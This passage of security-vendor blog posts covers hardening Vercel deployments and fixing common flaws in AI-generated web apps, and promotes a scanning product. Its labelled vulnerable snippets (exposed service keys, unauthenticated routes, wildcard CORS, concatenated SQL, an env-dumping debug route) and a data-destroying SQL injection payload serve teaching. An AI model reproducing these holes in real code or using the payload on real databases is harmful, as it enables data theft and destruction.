  for (let i = 0; i < a.length; i++) diff |= a.charCodeAt(i) ^ b.charCodeAt(i);
  return diff === 0;
}

export function middleware(request: NextRequest) {
  const user = process.env.SITE_USER;
  const password = process.env.SITE_PASSWORD;

  // Not configured? Do not lock yourself out of your own deployment.
  if (!user || !password) return NextResponse.next();

  const header = request.headers.get('authorization') ?? '';
  const expected = `Basic ${btoa(`${user}:${password}`)}`;

  if (!safeEqual(header, expected)) {
    return new NextResponse('Authentication required', {
      status: 401,
      headers: {
        'WWW-Authenticate': 'Basic realm="Restricted", charset="UTF-8"',
        'X-Robots-Tag': 'noindex, nofollow',
      },
    });
  }

  return NextResponse.next();
}

export const config = {
  // Everything except Next.js internals and the favicon
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
};
```

Store `SITE_USER` and `SITE_PASSWORD` as server-only environment variables — no `NEXT_PUBLIC_` prefix, per checklist item #1 — and scope them to the environments you actually want locked. Basic auth sends credentials on every request, so it is only acceptable over HTTPS, which on Vercel it always is.

If you already have real sessions, skip the shared password and gate on the session instead. Reuse the Supabase middleware from checklist item #6, but widen the check: redirect anonymous visitors to `/login` for every path rather than only `/dashboard/:path*`. You get a private site with per-user accounts and an audit trail instead of one password everybody shares.

One limitation worth naming: middleware protects your application, not your deployment. The request still reaches Vercel's edge and runs your code — it just gets a 401 back. Deployment Protection blocks earlier, before middleware executes. The DIY route is what you use when your plan does not include the platform feature, not a strict upgrade over it.

### Keep Private Deployments Out of Search Results

Locking a deployment and de-indexing it are separate jobs. Vercel Authentication returns 401 to crawlers, which handles it in practice. But if you gate at the app layer, or run a staging domain that is reachable without auth, send an explicit `X-Robots-Tag` on every non-production deployment:

```typescript
// next.config.ts
const isProduction = process.env.VERCEL_ENV === 'production';

const nextConfig: NextConfig = {
  async headers() {
    if (isProduction) return [];
    return [
      {
        source: '/(.*)',
        headers: [{ key: 'X-Robots-Tag', value: 'noindex, nofollow' }],
      },
    ];
  },
};
```

Vercel sets `VERCEL_ENV` automatically to `production`, `preview`, or `development`, so this needs no configuration of its own.

Do not try to solve this with `robots.txt` alone. Disallowing a path stops crawlers from fetching it, which also stops them from ever reading your `noindex` — the URL can still appear in results when something links to it. The header is the reliable control. Authentication is the certain one.

### Let CI Through Without Unlocking the Door

The moment protection goes on, your E2E tests, uptime checks, and Lighthouse runs start collecting 401s. Vercel's **Protection Bypass for Automation** issues a secret you send as the `x-vercel-protection-bypass` header (or query parameter), so scripted traffic passes while browsers still hit the login screen.

Generate it under **Settings > Deployment Protection**, store it as a secret in your CI provider, and rotate it if it ever lands in a log. For a one-off — a client or designer who needs to see a single protected preview — generate a shareable link for that deployment instead of turning protection off for everyone.

## Common Vercel Security Mistakes

Beyond the checklist, these are the mistakes we see most often in production Vercel deployments.

**Exposing secrets via NEXT_PUBLIC_ variables.** This shows up in roughly 1 in 5 scans we run on Next.js apps. Developers copy environment variable configurations between projects and forget to remove the prefix from sensitive keys.

**No Content-Security-Policy header.** Without CSP, your app has no browser-enforced protection against XSS. If an attacker finds a way to inject a script tag, nothing stops it from executing.

**Preview deployments accessible to the public.** Preview URLs are not secret. They follow predictable naming patterns and are often indexed by search engines or shared in public Slack channels and GitHub comments.

**Source maps shipped in production.** These give attackers a complete map of your application code. Combined with other information, they make vulnerability discovery significantly faster.

**Wildcard CORS in API routes.** Using `Access-Control-Allow-Origin: *` on routes that return user data or accept mutations lets any website make requests on behalf of your users.

**Missing auth on Server Actions.** Because Server Actions look like regular function calls in your component code, it is easy to forget that they are exposed HTTP endpoints that anyone can invoke.

## Vercel-Specific Security Features Worth Enabling

Vercel offers several security features beyond basic hosting. Not all are available on every plan, but they are worth knowing about.

**Web Application Firewall (WAF):** Available on Pro and Enterprise plans. Configure rules to block traffic by IP, geography, path, or header. Useful for restricting admin panels and blocking abusive traffic patterns.

**DDoS Protection:** Included on all plans. Vercel's edge network absorbs volumetric attacks automatically. For application-layer protection, you still need rate limiting in your code.

**Deployment Protection:** Password protection and Vercel Authentication for preview and staging environments. Essential for any project where preview deployments touch real data.

**OIDC Federation:** For Enterprise plans, Vercel supports OpenID Connect federation with identity providers. This lets you control who can deploy and access project settings through your existing SSO infrastructure.

**Attack Challenge Mode:** When under active attack, Vercel can automatically present challenge pages to suspicious traffic. This is managed through the dashboard or API.

**Secure Compute:** Enterprise feature that runs serverless functions in dedicated, isolated environments. Relevant for apps handling regulated data (healthcare, finance).

Note that Vercel Speed Insights and Web Analytics are performance tools, not security features. They measure Core Web Vitals and visitor metrics, but they do not detect or prevent attacks.

## How CheckVibe Scans Vercel Deployments

CheckVibe runs 36 automated security checks against any publicly accessible website, including Vercel-hosted Next.js apps. Our scanner suite includes a dedicated [Vercel scanner](/blog/nextjs-security-best-practices) that checks for platform-specific issues.

Here is what we detect on Vercel deployments:

**Security headers analysis.** We check for the presence and correct configuration of CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Permissions-Policy. Missing or misconfigured headers are flagged with specific remediation steps.

**Exposed secrets detection.** Our API key leak scanner examines your client-side JavaScript bundle for patterns matching common API keys, database connection strings, and tokens. If a `NEXT_PUBLIC_` variable contains something that looks like a secret key, we flag it.

**CORS misconfiguration.** We test your API endpoints for overly permissive CORS headers. Wildcard origins, missing credentials handling, and other CORS issues are identified and reported.

**Technology fingerprinting.** We identify that your app runs on Vercel and Next.js, then apply platform-specific security checks. The scanner knows which default configurations are insecure for your particular stack.

**SSL and certificate analysis.** We verify your TLS configuration, certificate chain, and HSTS setup. While Vercel handles certificates automatically, misconfigurations can still occur with custom domains.

**Site crawling for comprehensive coverage.** Our crawler discovers pages and API endpoints across your site, ensuring that security checks run against your entire attack surface, not just the homepage.

You can [run a free scan](https://checkvibe.dev) on your Vercel deployment right now and see exactly which items from this checklist your app passes or fails.

## Frequently Asked Questions

### Does Vercel handle security for me?

Partially. Vercel handles infrastructure security: TLS certificates, DDoS protection, network isolation, and edge caching. It does not handle application security: authentication, authorization, input validation, security headers, CORS, or secret management. Those are your responsibility as the developer. Think of Vercel as a secure building — it has locks on the front door, but you still need to lock your apartment.

### Are Vercel preview deployments secure?

Not by default. Preview deployments are publicly accessible via predictable URLs. Enable Deployment Protection in your Vercel project settings to require authentication for preview URLs. Never scope production secrets (database credentials, API keys) to preview environments.

### Do I need a WAF with Vercel?

For most applications, Vercel's built-in DDoS protection combined with proper application-level security is sufficient. If you are handling sensitive data, processing payments, or facing targeted attacks, the Vercel WAF (Pro plan) adds useful IP-based and path-based blocking rules. It is not a replacement for input validation and auth checks in your code.

### How do I add security headers on Vercel?

Configure them in `next.config.ts` using the `headers()` function as shown in checklist item #2. You can also add headers via `vercel.json`, but the `next.config.ts` approach is more maintainable and keeps your security configuration in version control alongside your application code.

### Can attackers read my source code on Vercel?

If source maps are enabled in production (which is the default), attackers can reconstruct your original source code from the browser's developer tools. Set `productionBrowserSourceMaps: false` in `next.config.ts`. Additionally, enable Source Protection in Vercel's dashboard settings to prevent direct access to your deployment's source files.

### Should I use Vercel's edge middleware for rate limiting?

Edge middleware is a good location for basic rate limiting because it runs before your application code. However, Vercel's edge runtime has limitations on execution time and available APIs. For sophisticated rate limiting (sliding windows, per-user limits, tiered thresholds), consider a dedicated rate limiting service or implement it in your API routes with a backing store like Redis.

### Are Vercel preview deployments public?

Yes, until you change it. Vercel's docs state that generated deployment URLs are publicly accessible by default. They are unlisted rather than private, and nobody needs to guess them because they get pasted into pull request comments, Slack threads, and screenshots. Anyone holding the link reaches the deployment and whatever it connects to. Enable Deployment Protection in Project Settings before a preview touches real data.

### How do I password-protect a Vercel site?

There are two routes. Vercel's built-in Password Protection lives under Project Settings > Deployment Protection, but it requires Enterprise or the paid Advanced Deployment Protection add-on on Pro. On any plan you can do it yourself in `middleware.ts`: compare the incoming Authorization header against a Basic credential held in server-only environment variables, and return 401 with a WWW-Authenticate header when it does not match.

### Is Vercel secure by default?

Vercel gives you TLS, isolated builds and runtimes, and network-layer DDoS protection without any setup. It does not give you security headers, authentication on your routes, input validation, CORS rules, or private deployments — those are all opt-in and default to off. The platform is secure; your application is only as secure as the configuration you layer on top of it. Treat the defaults as a floor, not a finish line.

## Start Securing Your Vercel Deployment

Vercel is an excellent platform for deploying Next.js apps. But deploying is step one. Securing what you deployed is step two, and it does not happen automatically.

Work through this checklist from top to bottom. The first three items — environment variables, security headers, and deployment protection — will address the most common vulnerabilities we see. Then tackle auth, CORS, and the remaining items.

If you want to know exactly where your Vercel deployment stands right now, [run a free CheckVibe scan](https://checkvibe.dev). In under 60 seconds, you will get a full security report covering headers, exposed secrets, CORS, SSL, and 30+ additional checks tailored to your stack.


---

## How to Secure Your Vibe-Coded App: A Developer's Guide

*Cursor, Copilot and Windsurf help you ship fast, but they leave real security gaps. The specific vulnerabilities to find and fix before you deploy.*

Published: 2026-03-15 | Reading time: 17 min read
URL: https://checkvibe.dev/blog/how-to-secure-vibe-coded-app


You just built an entire SaaS app in a weekend using Cursor. The landing page looks great, the auth works, Stripe is integrated, and you are ready to launch. But somewhere in those thousands of AI-generated lines, there are security holes you never asked the AI to close.

This is not hypothetical. We scan hundreds of vibe-coded apps every week, and the same vulnerabilities show up again and again. This guide covers the specific security issues AI code editors introduce and how to find them before someone else does.

## Why AI-Generated Code Has Security Gaps

AI coding assistants optimize for one thing: making your code work on the first try. When you prompt Cursor with "add a Stripe webhook handler" or tell Copilot to "create a user settings API," the generated code will handle the happy path perfectly. What it will not do is add the security layers you did not ask for.

This creates a predictable pattern. The AI writes functional code with:

- No authentication on API routes unless you specifically request it
- Hardcoded secrets or environment variables exposed to the client bundle
- Database queries built with string concatenation instead of parameterized queries
- CORS configured as `Access-Control-Allow-Origin: *` because it eliminates errors during development
- Missing input validation on every server endpoint

The result is an app that works flawlessly in your demo but is wide open in production.

The root cause is training data. AI models learn from millions of open-source repositories, tutorials, and Stack Overflow answers. Most of that code prioritizes clarity and brevity over security. A tutorial showing how to connect to a database will rarely include parameterized queries, input validation, and error handling in the same snippet. The AI absorbs these shortcuts and reproduces them faithfully.

This does not mean AI-generated code is inherently insecure. It means security is never the default. You have to ask for it explicitly, and even then, the AI may only address the specific concern you raised while leaving adjacent vulnerabilities untouched. If you want a deeper look at the systemic risks, we covered them in our [analysis of vibe coding security risks](/blog/vibe-coding-security-risks).

## The 7 Most Common Vulnerabilities in Vibe-Coded Apps

### 1. API Keys Leaked in Client-Side Code

This is the single most common issue we see. AI assistants frequently place API keys directly in frontend code or use environment variable names that expose them to the browser.

```typescript
// Generated by AI -- key is exposed in the client bundle
const supabase = createClient(
  'https://xyz.supabase.co',
  'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoic2VydmljZV9yb2xlIn0...'
);
```

The `service_role` key above bypasses all Row Level Security. If it appears in your client bundle, anyone can read, modify, or delete every row in your database.

**The fix:** Use the anon key on the client. Keep the service role key in server-side code only. In Next.js, never prefix secret keys with `NEXT_PUBLIC_`.

```typescript
// Safe -- uses the anon key, relies on RLS for access control
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!
);
```

Here is a more complete example showing how to structure your environment variables so the AI cannot accidentally leak them:

```env
# .env.local

# These are public -- safe to expose in the browser
NEXT_PUBLIC_SUPABASE_URL=https://xyz.supabase.co
NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJhbGciOi...

# These are private -- NEVER prefix with NEXT_PUBLIC_
SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOi...
STRIPE_SECRET_KEY=sk_live_abc123...
OPENAI_API_KEY=sk-abc123...
DATABASE_URL=postgresql://user:password@host/db
```

The distinction matters because Next.js inlines any `NEXT_PUBLIC_` variable into the client JavaScript bundle at build time. Once it is there, it is visible to anyone who opens browser DevTools. For a full checklist of Supabase-specific security settings, see our [Supabase security checklist](/blog/supabase-security-checklist).

### 2. Unprotected API Routes

When you ask an AI to "create a CRUD API for projects," it generates the endpoints but rarely adds auth middleware. Every route is publicly accessible.

```typescript
// AI-generated -- no authentication check
export async function DELETE(req: Request, { params }: { params: { id: string } }) {
  const { error } = await supabase
    .from('projects')
    .delete()
    .eq('id', params.id);

  return Response.json({ success: !error });
}
```

Anyone who discovers this endpoint can delete any project. There is no check that the request comes from an authenticated user who owns that project.

**The fix:** Validate the session and check ownership on every state-changing route.

```typescript
export async function DELETE(req: Request, { params }: { params: { id: string } }) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  const { error } = await supabase
    .from('projects')
    .delete()
    .eq('id', params.id)
    .eq('user_id', user.id); // ownership check

  return Response.json({ success: !error });
}
```

A more robust pattern wraps this into a reusable helper so every route in your app is protected consistently:

```typescript
// lib/api-auth.ts -- reusable auth guard
import { createClient } from '@/lib/supabase/server';

export async function requireAuth() {
  const supabase = await createClient();
  const { data: { user }, error } = await supabase.auth.getUser();

  if (error || !user) {
    throw new Response(JSON.stringify({ error: 'Unauthorized' }), {
      status: 401,
      headers: { 'Content-Type': 'application/json' },
    });
  }

  return { user, supabase };
}

// Usage in any route
export async function DELETE(req: Request, { params }: { params: { id: string } }) {
  const { user, supabase } = await requireAuth();

  const { data, error } = await supabase
    .from('projects')
    .delete()
    .eq('id', params.id)
    .eq('user_id', user.id)
    .select()
    .single();

  if (!data) {
    return Response.json({ error: 'Not found' }, { status: 404 });
  }

  return Response.json({ success: true });
}
```

### 3. CORS Wildcard on Authenticated Endpoints

AI assistants add `Access-Control-Allow-Origin: *` to eliminate CORS errors during development. This stays in production and allows any website to make requests to your API.

```typescript
// AI default -- allows all origins
return new Response(JSON.stringify(data), {
  headers: {
    'Access-Control-Allow-Origin': '*',
    'Access-Control-Allow-Credentials': 'true',
  },
});
```

The combination of `*` and `credentials: true` is especially dangerous. It means a malicious site can make authenticated requests to your API and read the responses. The browser sends cookies automatically, and the wildcard origin tells the browser to allow the malicious site to read the response.

**The fix:** Use an explicit origin allowlist.

```typescript
const ALLOWED_ORIGINS = [
  'https://yourdomain.com',
  'https://www.yourdomain.com',
];

// Only add localhost in development
if (process.env.NODE_ENV === 'development') {
  ALLOWED_ORIGINS.push('http://localhost:3000');
}

const origin = req.headers.get('origin') || '';

return new Response(JSON.stringify(data), {
  headers: {
    'Access-Control-Allow-Origin': ALLOWED_ORIGINS.includes(origin) ? origin : '',
    'Access-Control-Allow-Credentials': 'true',
    'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
    'Access-Control-Allow-Headers': 'Content-Type, Authorization',
  },
});
```

For a comprehensive breakdown of CORS issues and how to test for them, read our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).

### 4. SQL Injection via String Interpolation

When AI generates search or filter functionality, it sometimes builds queries with string interpolation instead of parameterized queries, especially when the prompt says "keep it simple."

```typescript
// Vulnerable -- user input directly in query
const { data } = await supabase
  .rpc('search_users', { query: `%${searchTerm}%` });

// Even worse -- raw SQL concatenation
const result = await pool.query(
  `SELECT * FROM users WHERE name LIKE '%${searchTerm}%'`
);
```

An attacker can submit a search term like `'; DROP TABLE users; --` and your database will execute it. With the raw concatenation example, the query becomes:

```sql
SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
```

That deletes your entire users table.

**The fix:** Always use parameterized queries.

```typescript
// Safe -- parameterized query, database driver handles escaping
const result = await pool.query(
  'SELECT * FROM users WHERE name LIKE $1',
  [`%${searchTerm}%`]
);
```

If you are using an ORM like Prisma or Drizzle, stick to their query builders and avoid raw SQL unless absolutely necessary. When you must use raw SQL, always use the parameterized form:

```typescript
// Prisma -- safe parameterized raw query
const users = await prisma.$queryRaw`
  SELECT * FROM users WHERE name LIKE ${`%${searchTerm}%`}
`;

// Drizzle -- safe query builder
const users = await db
  .select()
  .from(usersTable)
  .where(like(usersTable.name, `%${searchTerm}%`));
```

### 5. Missing Security Headers

AI-generated Next.js apps almost never include security headers. No CSP, no HSTS, no X-Frame-Options. The defaults leave your app vulnerable to clickjacking, MIME sniffing attacks, and cross-site scripting.

**The fix:** Add headers in `next.config.ts`:

```typescript
async headers() {
  return [{
    source: '/:path*',
    headers: [
      { key: 'X-Frame-Options', value: 'DENY' },
      { key: 'X-Content-Type-Options', value: 'nosniff' },
      { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
      { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
      {
        key: 'Content-Security-Policy',
        value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://*.supabase.co",
      },
      { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
    ],
  }];
}
```

Each header serves a specific purpose:

- **X-Frame-Options: DENY** prevents your pages from being embedded in iframes, blocking clickjacking attacks
- **X-Content-Type-Options: nosniff** stops browsers from guessing MIME types, preventing script injection via uploaded files
- **Strict-Transport-Security** forces HTTPS for all future requests, with `preload` allowing inclusion in browser preload lists
- **Content-Security-Policy** controls which resources (scripts, styles, images) can load, dramatically reducing XSS impact
- **Permissions-Policy** disables browser APIs you do not use, reducing your attack surface

For a deep dive into every header and how to configure it, see our [complete guide to security headers](/blog/security-headers-complete-guide).

### 6. No Input Validation on Server Endpoints

AI writes forms that send data to API routes, but the server side rarely validates what it receives. An attacker can send any payload they want, bypassing client-side validation entirely.

```typescript
// AI-generated -- trusts the client payload completely
export async function POST(req: Request) {
  const body = await req.json();
  await supabase.from('profiles').update(body).eq('id', userId);
  return Response.json({ success: true });
}
```

This allows an attacker to update any field, including `plan`, `role`, or `is_admin`. They simply open DevTools, modify the request body, and send it.

**The fix:** Validate and pick only the fields you expect.

```typescript
import { z } from 'zod';

const updateSchema = z.object({
  name: z.string().min(1).max(100),
  bio: z.string().max(500).optional(),
  website: z.string().url().optional().or(z.literal('')),
});

export async function POST(req: Request) {
  const parsed = updateSchema.safeParse(await req.json());
  if (!parsed.success) {
    return Response.json(
      { error: 'Invalid input', details: parsed.error.flatten() },
      { status: 400 }
    );
  }

  // Only validated fields reach the database
  await supabase.from('profiles').update(parsed.data).eq('id', userId);
  return Response.json({ success: true });
}
```

A common variant of this vulnerability is mass assignment through Supabase. If your RLS policies allow updates but you pass the raw request body, an attacker can set `plan: 'enterprise'` or `scan_limit: 999999` on their own profile. Always use Zod, Valibot, or a similar schema library to extract exactly the fields you expect.

### 7. Exposed Debug Endpoints and Stack Traces

AI assistants frequently generate debug routes, verbose error responses, and console logging that leaks internal state. These are helpful during development and dangerous in production.

```typescript
// AI-generated debug route left in production
export async function GET() {
  return Response.json({
    env: process.env,
    dbUrl: process.env.DATABASE_URL,
    nodeEnv: process.env.NODE_ENV,
  });
}
```

This is not just a theoretical risk. We regularly scan apps that expose routes like `/api/debug`, `/api/test`, `/api/health` (with full env dumps), or `/api/admin` with no authentication. An attacker who finds one of these routes gets your database credentials, API keys, and service tokens in a single request.

**The fix:** Remove all debug routes before deploying. Return generic error messages in production. Never expose environment variables or stack traces in API responses.

```typescript
// Safe -- health endpoint reveals nothing sensitive
export async function GET() {
  return Response.json({ status: 'ok', timestamp: new Date().toISOString() });
}

// Safe -- error handler logs internally, returns generic message
export async function POST(req: Request) {
  try {
    const result = await processRequest(req);
    return Response.json(result);
  } catch (error) {
    // Log the real error for your monitoring system
    console.error('[API Error]', {
      path: req.url,
      error: error instanceof Error ? error.message : 'Unknown',
      stack: error instanceof Error ? error.stack : undefined,
    });

    // Return a generic message to the client
    return Response.json(
      { error: 'An unexpected error occurred' },
      { status: 500 }
    );
  }
}
```

Search your codebase for `process.env` in any route file and verify that no route returns environment variables. A quick grep will catch most cases:

```bash
grep -r "process.env" src/app/api/ --include="*.ts" --include="*.tsx"
```

## Automating Security With the CheckVibe MCP Server

If you use a developer tool that supports the Model Context Protocol (MCP), you can integrate security scanning directly into your development workflow. The CheckVibe MCP server exposes scan and reporting tools without calling any external AI model.

Install it globally:

```bash
npm install -g @checkvibe/mcp-server
```

Then add it to your MCP configuration (e.g., `.cursor/mcp.json`):

```json
{
  "mcpServers": {
    "checkvibe": {
      "command": "npx",
      "args": ["@checkvibe/mcp-server"],
      "env": {
        "CHECKVIBE_API_KEY": "cvd_live_your_key_here"
      }
    }
  }
}
```

Once configured, your MCP client can run scans, retrieve results, and dismiss false positives without leaving your workflow. Example commands:

- "Scan my app at `https://myapp.vercel.app` and tell me what's wrong"
- "Show me the critical findings from my last scan"
- "Are there any new vulnerabilities since last week?"

The MCP server exposes nine tools: `run_scan`, `get_scan_results`, `list_scans`, `list_projects`, `get_project`, `update_project`, `dismiss_finding`, `list_dismissals`, and `restore_finding`. Compatible clients use these tools to interact with CheckVibe programmatically, making security part of the same workflow rather than a separate dashboard step.

## Adding a .cursorrules Security Template

You can teach Cursor to write more secure code from the start by adding security rules to your `.cursorrules` file. This file lives in your project root and provides instructions that Cursor follows for every prompt.

Create `.cursorrules` in your project root with these security rules:

```markdown
## Security Rules

1. Never use `NEXT_PUBLIC_` prefix for secret keys (service role keys, API secrets, database URLs)
2. Every API route must check authentication with `supabase.auth.getUser()` before any database operation
3. Every API route that accepts POST/PUT/DELETE must validate the Origin header against an allowlist
4. Always validate request bodies with Zod schemas -- never pass raw `req.json()` to database operations
5. Never use `dangerouslySetInnerHTML` without DOMPurify sanitization
6. Never use string interpolation in SQL queries -- always use parameterized queries
7. Never set `Access-Control-Allow-Origin: *` -- use an explicit origin allowlist
8. Never return `error.message` or `error.stack` in API responses -- log internally, return generic message
9. Never commit `.env` files -- use `.env.local` and verify `.gitignore` includes it
10. Always generate random filenames for user uploads -- never use the original filename
```

These rules do not guarantee security, but they prevent the most common AI-generated vulnerabilities. The AI will follow them for every code generation and edit within your project.

## The 30-Minute Security Sprint

If you have a vibe-coded app that is already live, or you are about to deploy one, here is a structured 30-minute checklist to cover the most critical gaps. You do not need to do everything at once, but these items are ordered by impact.

**Minutes 0-5: Secrets audit**
1. Search your entire codebase for hardcoded keys: `grep -r "sk_live\|sk_test\|eyJhbG\|service_role" src/`
2. Verify no secret keys use the `NEXT_PUBLIC_` prefix in `.env.local`
3. Confirm `.env.local` is in `.gitignore`
4. Check your Git history for accidentally committed secrets: `git log --all -p -- .env`

**Minutes 5-10: Authentication check**
1. List every file in `src/app/api/`: each one is a public endpoint
2. Verify every route calls `supabase.auth.getUser()` or equivalent before database operations
3. Check that DELETE and UPDATE routes include an ownership clause (`.eq('user_id', user.id)`)

**Minutes 10-15: Input validation**
1. Search for routes that pass `await req.json()` directly to database operations
2. Add Zod schemas to every route that accepts user input
3. Check that no route passes raw user input to SQL queries

**Minutes 15-20: Headers and CORS**
1. Add security headers in `next.config.ts` if they are missing
2. Search for `Access-Control-Allow-Origin: *` and replace with an origin allowlist
3. Add CSRF origin validation to every POST/PUT/DELETE route

**Minutes 20-25: Debug cleanup**
1. Search for routes that return `process.env` or `error.message`
2. Remove any `/api/debug`, `/api/test`, or similar development-only routes
3. Verify error responses return generic messages

**Minutes 25-30: Automated scan**
1. Run a CheckVibe scan on your production URL
2. Review critical and high findings
3. Fix anything the manual steps above missed

This sprint will not make your app bulletproof, but it closes the gaps that attackers exploit first. For an even more thorough pre-launch review, check our [Cursor and Copilot security audit guide](/blog/cursor-copilot-security-audit).

## How to Audit Your Vibe-Coded App in 60 Seconds

You could manually review every file the AI generated. Or you could run an automated scan that checks for all of the above, plus 30 more vulnerability categories, in under a minute.

Here is what to look for in scan results:

- **Critical findings** need immediate attention: exposed secrets, SQL injection, missing auth
- **High findings** should be fixed before launch: CORS misconfigs, missing headers, CSRF gaps
- **Medium findings** are next: weak cookies, information disclosure, outdated dependencies
- **Low findings** are improvements: performance headers, best practice recommendations

The goal is not to stop vibe coding. It is to add a 60-second security check to your workflow so you can ship fast without shipping vulnerabilities.

## FAQ

### Can remediation prompts fix security bugs by themselves?

No. A remediation prompt is a checklist, not an automated repair. It gives you the vulnerability, impact, evidence, and concrete code or configuration steps so you can make and verify the fix.

### What is the fastest way to secure a vibe-coded app?

Run an automated security scan first to get a prioritized list of issues. Fix critical findings immediately (leaked keys, missing auth, SQL injection). Then work through highs (CORS, headers, CSRF). This approach is faster than manual code review because the scanner tests your live app the way an attacker would, hitting every endpoint and checking every header. If you want a structured approach, follow the 30-minute security sprint above. For most vibe-coded apps, the combination of a scan plus the sprint will close 90% of the attack surface in under an hour.

### Do I need a security expert?

For most indie projects and early-stage SaaS apps, no. The vulnerabilities in vibe-coded apps are well-documented and follow predictable patterns. If you can follow the code examples in this guide and run an automated scanner, you can fix the vast majority of issues yourself. Where you might want expert help is if you are handling sensitive data (health records, financial information, PII at scale), building in a regulated industry, or preparing for a SOC 2 audit. For everything else, a good scanner and the secure coding patterns in this guide will get you to a defensible security posture.

### How many vulnerabilities does a typical vibe-coded app have?

Based on our scans, a typical vibe-coded app built in a weekend has between 8 and 25 findings across all severity levels. The most common breakdown we see is 1-3 critical (usually leaked keys or missing auth), 3-6 high (CORS, headers, CSRF), 4-10 medium (cookies, info disclosure, weak configs), and 2-8 low (best practices, performance headers). Apps built with Supabase tend to have fewer critical findings because the Supabase client library encourages RLS usage, but they still average 2-4 high findings around missing headers and CORS. The number drops significantly after a single scan-and-fix cycle -- most teams get to zero critical and high findings in their second scan.

## Scan Your App Now

CheckVibe scans your app for all 7 of the vulnerabilities above, plus 30 more categories, in under 60 seconds. It crawls your site, tests every discovered endpoint, and gives you a prioritized list of findings with fix guidance.

Built something with Cursor, Copilot, or Windsurf? [Scan it for free](https://checkvibe.dev/signup) and find out what the AI missed.


---

## Free Website Security Scan: What It Checks and Why You Need One

*A free website security scan finds exposed API keys, missing headers and SQL injection in under 60 seconds. What it checks, and how to read the results.*

Published: 2026-03-14 | Reading time: 13 min read
URL: https://checkvibe.dev/blog/free-website-security-scan


You have a website in production. Maybe it is a SaaS app, an e-commerce store, or a side project you launched last month. You think it is secure, but you have never actually tested it. A free website security scan takes less than 60 seconds and can surface vulnerabilities that an attacker would find in minutes.

This guide explains what a security scan actually checks, how to interpret the results, and what you should fix first.

## How to Run a Free Security Scan with CheckVibe

Running your first scan takes three steps and under 60 seconds.

**Step 1: Enter your URL.** Go to [CheckVibe](https://checkvibe.dev/signup), create a free account, and enter your website URL. The scanner accepts any publicly accessible URL, including subdomains, specific paths, and single-page applications. You do not need to install anything or add code to your site.

**Step 2: Wait for the scan to complete.** CheckVibe crawls your site to discover pages and endpoints, then runs 100+ security checks against every discovered URL. The scan typically finishes in 30 to 60 seconds. You will see a progress indicator showing which check categories are running.

**Step 3: Review your results.** The scan produces a prioritized report grouped by severity. Each finding includes a description of the vulnerability, the specific URL or endpoint where it was found, the potential impact, and step-by-step fix guidance. Start at the top (critical findings) and work your way down.

## What Does a Website Security Scan Check?

A comprehensive security scan tests your site against dozens of known vulnerability categories. Here is what each category covers and why it matters.

### SSL/TLS Configuration

Your SSL certificate encrypts traffic between your users and your server. A scan checks:

- Whether the certificate is valid and not expired
- Which TLS protocol versions your server supports (TLS 1.2+ is required; anything older is vulnerable)
- Whether the cipher suites are strong enough to resist attacks
- Whether HSTS headers force browsers to always use HTTPS

A failing SSL check means user data, including passwords and payment information, could be intercepted in transit.

### Security Headers

Security headers are HTTP response headers that tell browsers how to handle your content. A scan checks for:

- **Content-Security-Policy (CSP)** -- controls which scripts, styles, and resources can load on your pages. Without it, cross-site scripting attacks are trivially easy.
- **X-Frame-Options** -- prevents your site from being embedded in iframes on malicious sites (clickjacking).
- **X-Content-Type-Options** -- stops browsers from MIME-sniffing responses, which can turn a harmless file into an executable script.
- **Referrer-Policy** -- controls how much URL information leaks to third-party sites.
- **Strict-Transport-Security (HSTS)** -- ensures browsers always use HTTPS, even if a user types `http://`.
- **Permissions-Policy** -- restricts access to browser APIs like camera, microphone, and geolocation.

Most web frameworks do not set these headers by default. If you have never configured them, you are almost certainly missing several.

### Cross-Site Scripting (XSS)

XSS vulnerabilities let attackers inject malicious JavaScript into your pages. A scan probes your endpoints with common XSS payloads and checks whether they are reflected or stored without sanitization.

The impact ranges from session theft (stealing a user's login cookies) to full account takeover (changing passwords, exfiltrating data).

### SQL Injection

SQL injection occurs when user input is inserted directly into database queries. A scan tests your forms, search fields, and API parameters for injectable patterns, including error-based, time-based blind, and boolean-based blind injection.

A single SQL injection vulnerability can give an attacker read and write access to your entire database.

### Exposed API Keys and Secrets

One of the most common issues on modern web apps is API keys visible in client-side JavaScript. A scan checks your page source, JavaScript bundles, and network responses for:

- AWS access keys
- Stripe secret keys
- Supabase service role keys
- Firebase admin credentials
- Database connection strings
- JWT signing secrets
- Keys from dozens of other providers

A leaked API key can result in unauthorized charges, data breaches, or complete infrastructure compromise, depending on the service.

### CORS Misconfiguration

Cross-Origin Resource Sharing (CORS) headers control which domains can make requests to your API. A scan tests for:

- Wildcard `*` origins on authenticated endpoints
- Origin header reflection without an allowlist
- Null origin acceptance
- Overly permissive method lists

A misconfigured CORS policy lets any website make authenticated requests to your API on behalf of your users.

### CSRF Protection

Cross-Site Request Forgery attacks trick a user's browser into making unwanted requests to your app while they are logged in. A scan checks whether your state-changing endpoints (POST, PUT, DELETE) validate the request origin or use CSRF tokens.

### Cookie Security

Cookies that store session tokens need specific flags to be secure. A scan checks for:

- **Secure flag** -- ensures cookies are only sent over HTTPS
- **HttpOnly flag** -- prevents JavaScript from reading the cookie (mitigates XSS-based session theft)
- **SameSite attribute** -- prevents the cookie from being sent in cross-origin requests

### DNS Configuration

DNS misconfigurations can enable email spoofing, domain hijacking, and man-in-the-middle attacks. A scan checks:

- **SPF records** -- which servers are authorized to send email for your domain
- **DKIM records** -- email authentication signatures
- **DMARC policy** -- what happens when SPF/DKIM checks fail
